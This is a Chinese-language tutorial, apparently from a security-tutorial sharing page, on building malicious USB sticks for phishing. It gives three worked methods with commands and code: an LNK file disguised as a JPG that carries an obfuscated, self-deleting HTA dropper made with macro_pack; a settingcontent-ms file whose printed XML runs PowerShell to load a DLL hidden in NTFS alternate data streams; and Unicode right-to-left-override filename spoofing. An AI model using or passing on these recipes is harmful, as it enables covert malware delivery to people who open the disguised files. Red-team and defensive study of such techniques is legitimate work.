实例:用U盘钓鱼
一次性进群,长期免费索取教程,没有付费教程。
教程列表见微信公众号底部菜单
进微信群回复公众号:微信群;QQ群:16004488
在本文中,我想给大家展示如何利用恶意U盘的一些PoC方法,这些方法可以在模拟攻击环境中进行攻击。这类攻击方法必须遵循如下规则:
1、没有建立互联网连接;
2、除了目标系统的OS信息之外,对其他信息一无所知;
3、U盘上可见的内容应该尽可能少地触发警告信息;
4、载荷的执行应该尽可能少地触发警告信息。
我们的目标是传播并运行二进制载荷。在如下一些样例中,我们的载荷为DLL文件(payload.dll)。
实例一:利用LNK文件
目标系统:MS Windows OS
主要原理:我曾介绍过如何利用HTA文件发起攻击,这是具体的操作方法。
利用策略
在第一个PoC中,我们的任务是让目标用户认为自己打开的是一个图片文件(confidential.jpg),然而实际上他打开的是一个恶意的LNK快捷方式文件(confidential.jpg.lnk)。快捷方式中隐藏着一个HTA释放器(dropper)。LNK会执行HTA文件,后者会释放并执行DLL载荷,并将快捷方式替换为一张欺诈图片(confidential.jpg)。
构造释放DLL的HTA载荷
我们可以利用macro_pack来构造经过混淆处理的HTA载荷,该载荷可以释放并执行payload.dll,具体命令如下:
echo DllMain | macro_pack.exe --template=EMBED_DLL --embed=payload.dll --obfuscate -G
payload.hta
EMBED_DLL模板可以创建一段VB代码,释放-embed参数所指向的文件,并使用Rundl32l来加载这个文件。我们可以指定模板运行DLL文件的DllMain函数。
我们可以使用-G选项来生成HTA文件,文件中的VB代码经过混淆处理。
大家可以使用mshta来检查HTA文件是否能正常运行,是否会调用我们的DLL文件(DLL文件将被释放到临时目录中)。
构造释放图片的HTA载荷
我们也可以使用EMBED_EXE这个macro_pack模板来嵌入、释放并运行我们选定目录中的载荷。在本文案例中,我们使用的是“confidential.jpg”这张图片。我们的目标是将该图片释放到恶意LNK文件所处的同一目录中,这样一旦DLL载荷被成功运行,该图片就可以替换对应的LNK文件。
echo "confidential.jpg" | macro_pack.exe -t EMBED_EXE --embed=confidential.jpg -o -G
pic.hta
如果我们双击pic.hta,我们会看到confidential.jpg图片被释放到当前目录中,并且被默认的图片查看器打开。
封装到自删除的HTA文件中
我并没有开发具体功能来将多个二进制载荷嵌入一个macro_pack中,也就是说我们必须生成DLL释放器、图片释放器然后手动执行复制粘贴操作才能构造最终可用的HTA载荷。
具体操作如下:
1、使用文本编辑器打开payload.hta以及pic.hta文件;
2、将pic.hta的AutoOpen函数重命名为AutoOpen2;
3、将pic.hta的所有vb代码拷贝到payload.hta中(最后两行的AutoOpen以及Close代码除外)。
4、编辑payload.hta文件最后两行的AutoOpen以及Close代码。
AutoOpen2 AutoOpen Set objFSO = CreateObject( "Scripting.FileSystemObject" ) Set WshShell = CreateObject("WScript.Shell") objFSO.DeleteFile window.document.location.pathname Close
现在payload.hta文件会释放并运行图片,然后运行DLL并在运行后删除自身文件。
注意:如果我们想要多次使用同一个USB介质,我们需要去掉自删除代码,将图片释放到临时目录中,而非当前目录中。
构建恶意LNK文件
我们可以利用HTA文件的便捷性,将其嵌入到LNK文件中。由于我们的LNK文件名为confidential.jpg.lnk,我们希望它能顺利运行如下命令:
%windir%system32cmd.exe /c start "" "mshta" "%CD%confidential.jpg.lnk"
注意:我们在构造USB载荷时,遇到的一个难题是载荷需要知道自己所处的具体路径。这个例子中,我们依赖的是macro_pack,它可以配置LNK文件运行在当前目录中,这样一来%cd%命令就能给出当前的卷名及路径。在第二个PoC中我们可以看到更为困难的一种场景。
我们可以使用macro_pack来生成LNK。我选择直接将快捷方式生成到USB介质中,避免我们拷贝快捷方式时系统对其做出修改。这里USB介质的卷标为“G:”。
macro_pack.exe -G G:confidential.jpg.lnk
当提示输入“Shortcut_Target”时我们输入如下信息:
%windir%system32cmd.exe /c start "" "mshta" "%CD%confidential.jpg.lnk"
当提示输入“Shortcut_Icon”时我们输入如下信息:
%windir%system32imageres.dll,67
注意:67这个数字对应的是imageres.dll中的JPG图像。
现在LNK快捷方式已创建完毕,我们可以将HTA代码附加到该文件中。
copy /b G:confidential.jpg.lnk+cmd.hta G:confidential.jpg.lnk
就这么简单,我们的钓鱼载荷已构造完毕。
测试
将confidential.jpg.lnk拷贝到某个USB介质中,并将该介质插入另一个Windows主机上。访问U盘并双击confidential.jpg,系统会向我们显示对应的图片。
DLL已被成功加载,但处于隐藏状态,我们可以使用taskmgr或者Sysinternals的procexp观察正在运行的DLL。DLL文件被释放到临时目录中的“Document1.asd”,并使用如下VB代码加以运行。
CreateObject("WScript.Shell").Run "%windir%system32rundll32.exe %temp%Document1.asd,
<<<DLL_FUNCTION>>>", 0
顺利执行后,我们会发现U盘上LNK文件已不复存在,被替换成正确的图片文件。
实例二:利用恶意设置
目标系统:MS Windows 10
主要原理:Matt Nelson之前发表过有关SettingContent-ms文件的研究结果,这里用到的就是这个原理。
利用策略
在这个场景中,我们的任务是让目标用户认为他打开的是“README.txt”文件,实际上他运行的是一个恶意的settingcontent-ms文件。
由于settingcontent-ms文件遵循严格的XML规范,因此貌似我们无法像前一种方法那样将其与HTA文件融合起来。这里我们可以使用NTFS的Alternate Data Streams(ADS,供选数据流)来隐藏并运行DLL载荷。
这个settingcontent-ms文件将会执行隐藏在Alternate Data Stream(README.txt.settingcontent-ms:R)中的DLL,也会运行Notepad来显示另一个ADS(README.txt.settingcontent-ms:T.txt)中存放的欺诈文本。
settingcontent-ms文件的优势在于它不会像LNK或者URI文件那样图标上有个快捷箭头。
构建欺诈文本
首先我们可以构建一个简单的文本文件,当目标用户打开readme文件时就会在notepad中看到具体内容。
echo "This is a simple README file." > Text.txt
构建恶意设置快捷方式文件
我们可以使用macro_pack来生成settincontent-ms文件。比如,我们可以使用如下命令来生成一个伪造的README.txt文件,该文件可以通过命令行来运行计算器应用:
echo 'C:windowssystem32cmd.exe /c calc.exe' '.' | macro_pack.exe -G README.txt.
settingcontent-ms
能弹出计算器的确很不错,但我们真正需要的是能够运行载荷。DLL以及欺诈文件会隐藏在USB介质NTFS文件系统的Alternate Data Stream中。我们所面临的问题在于settingcontent-ms文件默认会在“C:windowssystem32”中打开,这意味着我们需要找到一种方法来定位USB介质所对应的卷标。我使用了powershell来完成这个任务,可能还有其他方法能够解决这个问题。
我希望执行的命令行如下所示:
%windir%system32cmd.exe /c powershell.exe $drive=(Get-WmiObject Win32_Volume -Filter
"DriveType='2'").Name;Start-Process "notepad.exe" "$driveREADME.txt.
settingcontent-ms:T.txt"; Start-Process "control.exe" "$driveREADME.
txt.settingcontent-ms:R"
这段命令所做的操作包括:
1、调用wmi来获取USB卷名,存放到$drive变量中;
2、运行notepad打开README.txt.settingcontent-ms:T.txt中的诱骗文件。
3、运行control.exe来加载README.txt.settingcontent-ms:R中的DLL载荷。
需要注意的是,这里我们可以参考上一种场景,使用rundll32来运行DLL,然而我想尝试一下其他方法。
构造完毕的README.txt.settingcontent-ms文件如下所示:
<?xml version="1.0" encoding="UTF-8"?><PCSettings>
<SearchableContent xmlns="http://schemas.microsoft.com/Search/2013/SettingContent">
<ApplicationInformation>
<AppID>windows.immersivecontrolpanel_cw5n1h2txyewy!microsoft.windows.
immersivecontrolpanel</AppID>
<DeepLink>%windir%system32cmd.exe /c powershell.exe $drive=(Get-WmiObject
Win32_Volume -Filter "DriveType='2'").Name;Start-Process "notepad.exe"
"$driveREADME.txt.settingcontent-ms:T.txt"; Start-Process "control.exe"
"$driveREADME.txt.settingcontent-ms:R"</DeepLink>
<Icon>.</Icon>
</ApplicationInformation>
<SettingIdentity>
<PageID></PageID>
<HostID>{12B1697E-D3A0-4DBC-B568-CCF64A3F934D}</HostID>
</SettingIdentity>
<SettingInformation>
<Description>@shell32.dll,-4161</Description>
<Keywords>@shell32.dll,-4161</Keywords>
</SettingInformation>
</SearchableContent></PCSettings>
创建Alternative Data Stream
首先,我们需要确保USB介质已经使用NTFS文件系统格式化过。
其次,将README.txt.settingcontent-ms文件移动到NTFS USB介质中。
在这个例子中,USB介质所对应的卷标为“G:”。
现在我们可以来构建ADS。
首先是包含DLL的README.txt.settingcontent-ms:R流:
type payload.dll > G:README.txt.settingcontent-ms:R
然后是包含诱骗文本的G:README.txt.settingcontent-ms:T.txt流:
type Text.txt > G:README.txt.settingcontent-ms:T.txt
我们可以使用sysinternal的“Streams”工具来检查创建的ADS的确对应USB介质上的文件。
注意:如果我们编辑并保存USB介质上的README.txt.settingcontent-ms,那么与文件关联的Alternate Data Stream就会丢失,我们不得不重新执行以上两条命令。
测试
将制作好的U盘插入另一台Windows 10主机上。访问这个U盘,双击“README.txt”。我们可以看到DLL被成功加载,并且notepad会自动打开,展示“This is a simple README file. ”文本。
实例三、利用Unicode RTLO
目标系统:MS Windows以及其他系统
主要原理:实话实说我已不记得最早在哪看到这种方法。
利用策略
这一次我们准备构造一个欺诈文件后缀名,具体方法是注入Unicode Right-To-Left-Overrive(RTLO)字符。这是隐藏文件扩展名的一种绝佳方法,因为在RTLO之后的所有字符将以从右到左的方式呈现给用户。
比如,我可以使用macro_pack来构造能够运行计算器的一个HTA文件,该文件带有伪造的“.jpg”扩展名。具体命令如下:
echo calc.exe | macro_pack.exe -t CMD -G calc.hta --unicode-rtlo=jpg
在资源管理器中,这个文件看起来像是calcath.jpg,而实际上它的文件名为calc[rtlo]gpj.hta。
这种方法非常有趣,并且也适用于其他操作系统(如Ubuntu),也有可能适用于其他应用程序,如邮件客户端等。
练习
我们可以通过多种方法来利用unicode RTLO实施钓鱼攻击。
比如,一种方法就是将恶意的exe文件伪装成zip文件(更改文件图标,同时使用RTLO方法使文件名看起来以.zip后缀名结束)。
在某个攻击场景中,当目标用户双击伪造的zip文件后,exe文件就会运行载荷,打开隐藏在文件资源区或者ADS中的zip诱骗文件。
【推荐书籍】